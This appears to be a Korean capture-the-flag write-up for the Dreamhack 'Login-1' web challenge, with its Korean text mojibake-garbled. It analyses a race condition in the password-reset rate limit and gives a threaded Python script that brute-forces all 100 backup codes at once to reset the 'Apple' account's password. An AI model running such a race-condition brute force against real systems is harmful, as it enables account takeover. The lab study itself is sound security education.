7 - 0 - 1. Login-1 ์คํฌ๋ฆฝํธ ๊ณต๊ฒฉ ์ค์ต
# Login-1 ์คํฌ๋ฆฝํธ ๊ณต๊ฒฉ ์ค์ต
1. ๋ฌธ์ ์ ๋ณด ํ์ธ ํ ๋ฌธ์ ํ์ผ ๋ค์ด๋ก๋
2. app.py ํ์ผ์ ์ด๊ณ ์ฝ๋ ๋ถ์
+ << Line 13 ~ 17 >>
: admin ๊ณ์ ์ ๊ถํ์ 1, guest ๊ณ์ ์ ๊ถํ์ด 0์ผ๋ก ์ค์ ๋๋ฉฐ, 5ํ ์ด์ ๋น๋ฐ๋ฒํธ์ ์๋ชป๋ ๊ฐ์ ์ ๋ ฅํ๋ค๋ฉด ๋ ์ด์ ์๋ํ ์ ์์
+ << Line 24 ~ 25 >>
: ์ฌ์ฉ์๊ฐ ์๋ก์ด ๊ณ์ ์ ์์ฑํ ๋ ๊ฐ ๊ณ์ ๋ง๋ค ๋ถ์ฌ๋๋ BackupCode๋ 1๊ณผ 100 ์ฌ์ด์ ์ ์์
+ << Line 70 ~ 77 >>
: ์ฌ์ฉ์๋ก๋ถํฐ userid, password, name์ ์ ๋ ฅ๋ฐ์ ์๋ก์ด ๊ณ์ ์ ์์ฑ
+ << Line 82 ~ 83 >>
: ๋ง์ผ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ userid๊ฐ ๊ธฐ์กด์ ์กด์ฌํ๋ id์ ๋์ผํ๋ค๋ฉด 'Already Exists userid.' ๊ฒฝ๊ณ ๋ฌธ์ ์ถ๋ ฅ
+ << Line 91 ~ 98 >>
: ์ฌ์ฉ์๋ก๋ถํฐ id, ๋ณ๊ฒฝํ ๋น๋ฐ๋ฒํธ, ํ์๊ฐ์ ์์ ๋ถ์ฌ๋ backupCode ๋ฅผ ์ ๋ ฅ๋ฐ๋ ์ฝ๋
+ << Line 103 ~ 105 >>
: ์ ์ ๊ณต๊ฒฉ์ ์๋ฐฉํ๊ธฐ ์ํ ์ฝ๋๋ก, 1์ด๊ฐ ์ง๋๊ธฐ ์ ๋ค์์ ์ ๊ทผ์ด ๋ฐ์ํ์ ๊ฒฝ์ฐ ๋ ์ด์ค ์ปจ๋์ ์ทจ์ฝ์ ์ ๋ฐ์์ํด
--> ๋ ์ด์ค ์ปจ๋์ ์ด๋?
: 2๊ฐ ์ด์์ ํ๋ก์ธ์ค๊ฐ ํ ์์์ ํ๊บผ๋ฒ์ ์ฝ์ด๋ค์ด๊ฑฐ๋ ์ฌ์ฉํ ๋, ๊ทธ ๋ฐ์ดํฐ์ ๋ํ ์ ๊ทผ์ด ์ด๋ฃจ์ด์ง ์์๊ฐ ํ๋ก์ธ์ค ์คํ ๊ฒฐ๊ณผ์ ์ํฅ์ ๋ฏธ์น๋ ์ํฉ
+ << Line 106 ~ 122 >>
: ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ id, BackupCode๊ฐ ๊ธฐ์กด ๊ณ์ ์ ์ ๋ณด์ ์ผ์นํ๋ ๊ฒฝ์ฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ ฅํ ๊ฐ์ผ๋ก ๋ณ๊ฒฝํด์ค
3. ์ ์ ๋งํฌ ํ์ธ ํ ์๋ด๋ ๋งํฌ๋ก ์ ์
4. URL ์๋จ์ /user/1 ์ ์ถ๊ฐํ์ฌ admin ๊ถํ์ ๊ฐ์ง ๊ณ์ ํ์ธ
+ Apple ๊ณ์ ์ ์ด์ฉํ์ฌ Flag ํ์์ ์๋ํ ๊ณํ
5. ๋ก๊ทธ์ธ ํ์ด์ง๋ก ์ด๋ ํ userid, password์ ๊ฐ๊ฐ admin์ ์ ๋ ฅํ์ฌ ๋ก๊ทธ์ธ ์๋
6. Python ์คํฌ๋ฆฝํธ ์์ฑ์ ํตํด Apple ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ 0000์ผ๋ก ๋ณ๊ฒฝ
import threading, requests
url = "http://host3.dreamhack.games:17262/forgot_password"
def forgot(backupCode):
data = {"userid": "Apple", "newpassword": "0000", "backupCode": backupCode}
requests.post(url, data=data)
print(f"Backupcode: {backupCode}")
if __name__ == "__main__":
threads = []
print("Attack Start")
for i in range(1, 100 + 1):
t = threading.Thread(target=forgot, args=[i])
t.start()
threads.append(t)
for thread in threads:
thread.join()
7. ๊ณต๊ฒฉ ์ํ ํ ๋ค์ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ๋ค์ด์ Apple ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ ์๋
8. ๋ก๊ทธ์ธ ํ admin ํญ ํด๋ฆญ --> Flag๊ฐ ์ถ๋ ฅ๋จ์ ํ์ธ
+ ํ์ด ๋ฐ ์ฝ๋ ์ฐธ๊ณ
'โ๏ธ Web Hacking > Dreamhack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Blind SQL Injection Advanced ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.17 |
---|---|
[Dreamhack] funjs ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.15 |
[Dreamhack] Session ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.10 |
[Dreamhack] Simple-SSTI ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.10 |
[Dreamhack] php-1 ๋๋ฆผํต ์๊ฒ์ ๋ฌธ์ ํ์ด (0) | 2022.11.08 |